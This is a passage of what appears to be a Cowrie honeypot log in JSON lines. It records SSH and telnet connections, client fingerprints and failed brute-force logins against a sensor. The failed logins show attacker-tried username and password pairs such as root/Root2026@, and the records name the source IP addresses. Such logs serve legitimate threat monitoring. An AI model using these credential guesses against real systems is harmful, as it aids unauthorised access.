af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:12:43.130771Z","src_ip":"81.30.162.19","session":"aa7052a070c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root2026@","message":"login attempt [root/Root2026@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:12:43.625275Z","src_ip":"81.30.162.19","session":"aa7052a070c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:12:44.743414Z","src_ip":"81.30.162.19","session":"aa7052a070c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":38376,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a4d1358f0de","protocol":"ssh","message":"New connection: 159.203.92.129:38376 (159.203.135.109:22) [session: 5a4d1358f0de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:12:47.169703Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:12:47.174788Z","src_ip":"159.203.92.129","session":"5a4d1358f0de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:12:47.180502Z","src_ip":"159.203.92.129","session":"5a4d1358f0de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ubuntu123","message":"login attempt [ansible/ubuntu123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:12:47.193685Z","src_ip":"159.203.92.129","session":"5a4d1358f0de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:12:48.199763Z","src_ip":"159.203.92.129","session":"5a4d1358f0de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":55822,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a03508b53f7","protocol":"telnet","message":"New connection: 185.26.126.47:55822 (159.203.135.109:23) [session: 4a03508b53f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:12:53.201680Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":55832,"dst_ip":"159.203.135.109","dst_port":23,"session":"2270afca180d","protocol":"telnet","message":"New connection: 185.26.126.47:55832 (159.203.135.109:23) [session: 2270afca180d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:12:53.247663Z"}
{"eventid":"cowrie.session.closed","duration":39.485944747924805,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:13:12.564986Z","src_ip":"185.26.126.47","session":"b19c185077d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.99.170.152","src_port":53664,"dst_ip":"159.203.135.109","dst_port":22,"session":"5346379f5127","protocol":"ssh","message":"New connection: 50.99.170.152:53664 (159.203.135.109:22) [session: 5346379f5127]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:13:13.761757Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:13:13.766474Z","src_ip":"50.99.170.152","session":"5346379f5127","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:13:13.825471Z","src_ip":"50.99.170.152","session":"5346379f5127","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zlt123456","message":"login attempt [root/Zlt123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:13:14.098307Z","src_ip":"50.99.170.152","session":"5346379f5127","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:13:15.158360Z","src_ip":"50.99.170.152","session":"5346379f5127","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":18336,"dst_ip":"10.17.0.5","dst_port":22,"session":"80223ff344fb","protocol":"ssh","message":"New connection: 194.59.206.2:18336 (10.17.0.5:22) [session: 80223ff344fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:13:18.640204Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:13:18.644823Z","src_ip":"194.59.206.2","session":"80223ff344fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:13:18.735724Z","src_ip":"194.59.206.2","session":"80223ff344fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:13:18.830448Z","src_ip":"194.59.206.2","session":"80223ff344fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56572,"dst_ip":"159.203.135.109","dst_port":22,"session":"73beb02197f4","protocol":"ssh","message":"New connection: 159.203.92.129:56572 (159.203.135.109:22) [session: 73beb02197f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:13:25.511749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:13:25.517138Z","src_ip":"159.203.92.129","session":"73beb02197f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:13:25.521339Z","src_ip":"159.203.92.129","session":"73beb02197f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"unstct75","message":"login attempt [ansible/unstct75] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:13:25.537392Z","src_ip":"159.203.92.129","session":"73beb02197f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:13:26.576084Z","src_ip":"159.203.92.129","session":"73beb02197f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.30429482460022,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:13:31.505853Z","src_ip":"185.26.126.47","session":"4a03508b53f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.834131479263306,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:13:33.081659Z","src_ip":"185.26.126.47","session":"2270afca180d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.162.19","src_port":49272,"dst_ip":"159.203.135.109","dst_port":22,"session":"118f04255363","protocol":"ssh","message":"New connection: 81.30.162.19:49272 (159.203.135.109:22) [session: 118f04255363]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:13:36.309927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:13:36.314822Z","src_ip":"81.30.162.19","session":"118f04255363","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:13:36.433652Z","src_ip":"81.30.162.19","session":"118f04255363","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qw@123456","message":"login attempt [root/qw@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:13:36.939287Z","src_ip":"81.30.162.19","session":"118f04255363","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:13:38.060574Z","src_ip":"81.30.162.19","session":"118f04255363","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":38450,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b9f0f301cfb","protocol":"ssh","message":"New connection: 159.203.92.129:38450 (159.203.135.109:22) [session: 9b9f0f301cfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:13:52.614297Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:13:52.790709Z","src_ip":"159.203.92.129","session":"9b9f0f301cfb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:13:52.794621Z","src_ip":"159.203.92.129","session":"9b9f0f301cfb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"uu5!^%jg","message":"login attempt [ansible/uu5!^%jg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:13:53.580445Z","src_ip":"159.203.92.129","session":"9b9f0f301cfb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:13:54.750388Z","src_ip":"159.203.92.129","session":"9b9f0f301cfb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.223.91.130","src_port":36438,"dst_ip":"10.17.0.5","dst_port":22,"session":"d045628d1c53","protocol":"ssh","message":"New connection: 162.223.91.130:36438 (10.17.0.5:22) [session: d045628d1c53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:13:57.451467Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:13:57.457455Z","src_ip":"162.223.91.130","session":"d045628d1c53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:13:57.476623Z","src_ip":"162.223.91.130","session":"d045628d1c53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssW0rd","message":"login attempt [ubuntu/P@ssW0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:13:57.586030Z","src_ip":"162.223.91.130","session":"d045628d1c53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:13:58.608393Z","src_ip":"162.223.91.130","session":"d045628d1c53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.99.170.152","src_port":59256,"dst_ip":"159.203.135.109","dst_port":22,"session":"4333765b5467","protocol":"ssh","message":"New connection: 50.99.170.152:59256 (159.203.135.109:22) [session: 4333765b5467]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:14:04.993869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:14:05.002358Z","src_ip":"50.99.170.152","session":"4333765b5467","protocol":"ssh"}
